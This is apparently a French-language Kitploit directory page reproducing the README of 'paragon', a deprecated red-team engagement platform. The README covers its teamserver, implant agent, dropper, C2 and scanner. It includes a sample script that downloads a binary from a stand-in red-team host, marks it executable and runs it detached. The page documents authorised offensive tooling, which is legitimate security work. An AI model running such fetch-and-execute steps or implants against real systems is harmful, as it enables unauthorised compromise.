Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
paragon — Plateforme d'engagement Red Team visant à unifier les outils offensifs derrière une interface utilisateur simple. | Kitploit
Outils/GitHubGitHub/kcarretto/paragon
Frameworks de Tests d'IntrusionFrameworks d'ExploitationScripting et AutomatisationPost-ExploitationCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubkcarretto/paragon

paragon

Plateforme d'engagement Red Team visant à unifier les outils offensifs derrière une interface utilisateur simple.

Voir le dépôt
304427il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Avis de dépréciation

Ce projet a été déprécié, veuillez vous référer à notre nouveau projet Realm, qui s'appuie sur de nombreuses idées que nous avions lors de la construction de ce dépôt.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon est une plateforme d'engagement Red Team. Elle vise à unifier les outils offensifs derrière une interface utilisateur simple, en abstraisant une grande partie du travail backend pour permettre aux opérateurs de se concentrer sur l'écriture d'implants et de passer moins de temps à s'inquiéter des bases de données et du CSS. Le dépôt fournit également quelques outils offensifs déjà intégrés à Paragon qui peuvent être utilisés lors des engagements.

Ce dépôt est encore en développement intense et n'est pas prêt pour une utilisation en production. Lorsqu'il sera considéré comme stable, un tag V1.0.0 sera publié. Jusque-là, l'API pourra subir des changements cassants alors que nous simplifions continuellement notre conception. Veuillez lire la documentation développeur ci-dessous si vous souhaitez nous aider à atteindre ce jalon plus rapidement.

Table des matières

  • Points forts
  • Pour commencer
  • Aperçu des composants
  • FAQ
  • Terminologie
  • Guide du développeur

Points forts

  • Intégrez facilement des outils personnalisés pour unifier les opérations derrière une interface unique
  • Interrogez le graphe de connaissances Red Team à l'aide de l'API GraphQL fournie
  • Émission d'événements pour une automatisation à faible latence et un traitement en temps réel
  • Langage de script de type Python pour les déploiements, la post-exploitation, et plus
  • Implants multiplateformes et déploiement inclus
  • Enregistrez l'activité des opérateurs pour l'agréger commodément dans un rapport post-engagement pour examen

Pour commencer

Une instance de démonstration rapide peut être configurée en clonant le dépôt et en exécutant docker-compose up. Ouvrez 127.0.0.1:80 dans votre navigateur pour commencer !

Les images utilisées sont disponibles sur docker-hub, et peuvent être configurées à partir d'un fichier docker-compose pour un déploiement en production.

Aperçu des composants

Langage de script

La plupart des composants de ce dépôt reposent sur un langage de script de type Python qui permet un contrôle puissant et une personnalisation de leur comportement. Le langage est une version modifiée de Starlark de Google, étendu avec des fonctionnalités multiplateformes pour les opérateurs. Cela permet également aux outils comme l'agent et le dropper (discutés ci-dessous) d'exécuter des tâches sans dépendre des binaires système (curl, bash, etc.). Toutes les opérations sont exécutées sous forme de code en Go, ce qui rend intuitif l'ajout de fonctionnalités supplémentaires à l'environnement de script. Voici un exemple de script :

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Reference

Teamserver

Fournit une application web simple et une API GraphQL pour interfacer avec un graphe de connaissances Red Team, unifiant les outils derrière une source de vérité centralisée et abstraisant de nombreuses préoccupations backend fastidieuses pour les opérateurs. Intégrez vos outils personnalisés avec le Teamserver (via l'API GraphQL ou les abonnements aux événements) pour gagner du temps sur le travail backend. Le Teamserver enregistre toute l'activité, donc avec tous vos outils unifiés en un seul endroit, la rédaction de rapports post-engagement devient beaucoup plus facile.

Outils intégrés

Les outils ci-dessous sont également inclus dans le dépôt. Ils peuvent facilement être étendus pour s'adapter à de nombreux cas d'utilisation multiplateformes.

Dropper

  • Entièrement multiplateforme
  • Compile statiquement les ressources en un seul binaire
  • Fournit un langage de script de type Python pour la configuration de déploiement personnalisée

Paragon fournit un outil pour empaqueter des ressources (binaires, scripts, etc.) en un seul binaire qui, lorsqu'il est exécuté, exécutera votre script de déploiement personnalisé pouvant écrire des ressources sur le système de fichiers, lancer des processus, télécharger des fichiers, gérer les erreurs, etc. Il est entièrement multiplateforme et compilé statiquement, offrant des déploiements fiables. Si vous souhaitez étendre ses fonctionnalités, vous pouvez simplement étendre le fichier Go généré avant la compilation.

Agent

  • Entièrement multiplateforme
  • Fournit un langage de script de type Python pour la post-exploitation
  • Mécanismes de communication modulaires, compilez seulement ce dont vous avez besoin
    • Utilisez plusieurs options pour assurer des rappels fiables
  • Personnalisez la façon dont l'agent gère les échecs de communication

Un implant qui exécute des tâches et rapporte les résultats d'exécution. Il est configuré par défaut pour exécuter des tâches en utilisant le langage de script de type Python de Paragon et pour communiquer avec un C2 via http(s). Il est écrit en Go et peut être rapidement modifié pour ajouter de nouvelles méthodes de transport (par exemple, DNS), des options d'exécution, une logique de basculement, etc.

C2

  • Déploiement léger
  • Hautement performant, capable de gérer des milliers d'agents
    • Dépend des ressources système et de la bande passante disponible
  • Service distribué, utilisez autant de C2 que vous le souhaitez

Agit comme intermédiaire entre l'Agent et le Teamserver. Il gère les rappels d'agents pour divers mécanismes de communication et lui fournit de nouvelles tâches depuis la file d'attente du teamserver.

Runner

  • Exécution de tâches à faible latence et en temps réel
  • Facilement étendu pour ajouter la prise en charge de plus de mécanismes de communication
  • Service distribué, utilisez autant de runners que vous le souhaitez

Au lieu d'attendre un rappel, certaines situations peuvent nécessiter une connexion directe pour exécuter rapidement une tâche et voir son résultat. Le runner y parvient en s'abonnant aux files d'attente de tâches et en établissant une connexion à la machine cible (par exemple en utilisant SSH). Cela permet aux intégrations de type shell d'utiliser la même interface que les implants et les C2. Cela permet également de réaliser le déploiement initial de l'implant via cette interface.

Scanner

  • Surveiller les services cibles accessibles
  • Automatiser les réponses lorsque les services deviennent (in)disponibles
  • Fournir des informations réseau au graphe de connaissances, qui peuvent être utilisées par d'autres outils
  • Service distribué, utilisez autant de scanners que vous le souhaitez

Surveillez l'activité réseau cible et les services visibles. Cartographiez un graphe du réseau d'engagement et déclenchez une automatisation lors de changements d'état (par exemple, SSH devient disponible).

FAQ

Que faire si des machines rapportent le même UUID ?

Définir la variable d'environnement killswitch PG_KS_MachineUUID pour le teamserver désactivera les recherches qui utilisent les UUID de machine.

Terminologie

Pour assurer une communication claire sur ces systèmes complexes, nous avons défini ci-dessous quelques termes spécifiques au projet qui seront utilisés dans toute la documentation du projet.

Implant

Tout logiciel malveillant qui sera exécuté sur des systèmes compromis pendant l'engagement.

Tâche

Opérations souhaitées à exécuter sur un système compromis spécifique. Les tâches fournissent des instructions d'exécution aux implants, mais leur syntaxe/structure peut être totalement spécifique à un outil.

Agent

Un implant qui reçoit des tâches du teamserver, les exécute et rapporte leurs résultats. Une implémentation par défaut extensible est incluse dans ce dépôt, qui nécessite que les tâches soient fournies sous forme de scripts écrits en utilisant le DSL de type Python du projet.

Job

Demande au Teamserver d'effectuer un ensemble d'opérations données. Lors de la création d'un job, les instructions seront sauvegardées mais pas exécutées. L'utilisateur peut demander au Teamserver d'exécuter un job zéro ou plusieurs fois en le mettant en file d'attente et en fournissant les paramètres requis. Les jobs ne peuvent jamais être mis à jour, mais de nouvelles versions de jobs peuvent être créées pour éviter un copier-coller excessif.

Un cas d'usage courant pour un Job est lorsque l'utilisateur souhaite exécuter un script sur quelques cibles. L'utilisateur crée un job, qui demande au teamserver de créer des tâches avec le contenu fourni, mais laisse les machines cibles souhaitées comme paramètre. Lorsque le job est mis en file d'attente, l'utilisateur fournit une liste de machines cibles comme paramètre, et le Teamserver créera une tâche pour chaque machine.

Guide du développeur

Ci-dessous sert de référence initiale et brève pour le développement de Paragon. Plus de documentation peut être trouvée dans les godocs des packages ou en lisant du code :) Après avoir finalisé certaines décisions de conception (bien avant d'atteindre v1), un gel du code aura lieu jusqu'à ce que toute la documentation ait été mise à jour et organisée de manière appropriée.

Prérequis

  • Git
  • Docker
  • VSCode
    • Bien que vous puissiez utiliser d'autres éditeurs, vous perdrez la personnalisation qui accélère le développement pour VSCode
    • L'extension Remote - Containers fournie par Microsoft est requise pour commencer.

Configuration de l'environnement

Après avoir installé les prérequis listés ci-dessus, vous pourrez commencer en un rien de temps. Clonez simplement le dépôt et ouvrez-le dans VSCode. Il vous sera demandé d'ouvrir le code source dans un conteneur de développement, qui a été configuré avec toutes les dépendances du projet et les outils de développement dont vous aurez besoin. Si cette option n'apparaît pas pour vous, ouvrez la palette de commandes et exécutez > Remote-Containers: Open Folder In Container qui devrait démarrer le conteneur pour vous. Si c'est la première fois que vous lancez le conteneur, le téléchargement peut prendre un certain temps... alors prenez un café ^_^

Structure du projet

Ci-dessous un aperçu de la structure du projet et où se trouve chaque composant. Si cela devient obsolète, n'hésitez pas à soumettre un problème pour le signaler ou de préférence une PR pour le corriger. La base de code est configurée comme un monorepository, ce qui nous permet de profiter d'outils de développement partagés, de standardisation, etc., tout en évitant des conflits de version compliqués.

FolderUse Case
.devcontainerConfiguration pour l'environnement de développement en conteneur VSCode.
.githubConfiguration Github.
.statsUn répertoire ignoré par git (que vous pouvez avoir ou non) pour stocker les résultats de profilage des performances.
entDéfinitions d'API liées au graphe utilisées par le teamserver.
graphqlSchéma GraphQL et code associé généré à partir d'ent.
cmdOutils exécutables en ligne de commande et services.
distUn répertoire ignoré par git pour stocker les artefacts de build.
dockerDockerfiles utilisés pour le déploiement d'exemple.
entModèles et schémas de graphe utilisés par le teamserver (voir l'outil entgo de Facebook pour plus d'informations).
pkgBibliothèques publiques utilisées par les outils du dépôt mais aussi exposées au monde extérieur.
pkg/agentUne abstraction pour créer facilement un implant ou un transport de communication.
pkg/c2Aides liées au service C2 et définitions de messages standardisées.
pkg/c2/protoSpécification Protobuf pour définir un format de sérialisation standardisé pour la communication Agent <-> C2.
pkg/dropFournit une méthode simple utilisée par les payloads dropper compilés.
pkg/middlewareMiddleware commun pour les services HTTP.
pkg/scriptLangage de script de type Python pour la configuration dynamique, l'automatisation et l'exploitation multiplateforme.
pkg/script/stdlibBibliothèques standard qui exposent des fonctionnalités pour les environnements d'exécution de scripts.
pkg/teamserverAides liées au service Teamserver.
wwwContient l'application web principale hébergée par le teamserver. Créée par l'application create-react-app de Facebook.
www/src/componentsComposants React réutilisables.
www/src/configConfiguration de l'application web et routage.
www/src/viewsConteneurs qui interrogent les données du Teamserver et composent les composants pour le rendu.

Référence Teamserver

Graphe de connaissances

Ci-dessous un aperçu de la relation entre les nœuds du graphe de connaissances Red Team géré par le Teamserver.

Graph

Référence Agent

priorité de transport. Pour utiliser le vôtre, implémentez simplement l'interface agent.Sender et enregistrez votre transport lors de l'initialisation. Des exemples de transports existants peuvent être trouvés dans les sous-répertoires du package agent.

Exécution des tâches

Par défaut, l'agent s'attend à ce que les tâches respectent la syntaxe Starlark et expose une bibliothèque standard pour que les scripts puissent l'utiliser. Pour modifier le comportement de l'exécution des tâches (par exemple, simplement des commandes bash), vous pouvez implémenter l'interface agent.Receiver pour exécuter les tâches comme vous le souhaitez.

Environnement de script

L'environnement de script peut être personnalisé pour votre agent, vous permettant d'empaqueter facilement de nouvelles fonctionnalités pour que les scripts puissent les utiliser. Consultez script options pour apprendre comment étendre le moteur de script de l'agent.

Flux d'exécution

Ci-dessous un diagramme de flux de l'exécution générale de l'implant agent.

Ajout d'un transport

L'agent est conçu pour être facilement personnalisé avec de nouveaux mécanismes de transport, multiplexant les communications basées sur

AgentExec

Télécharger l’outil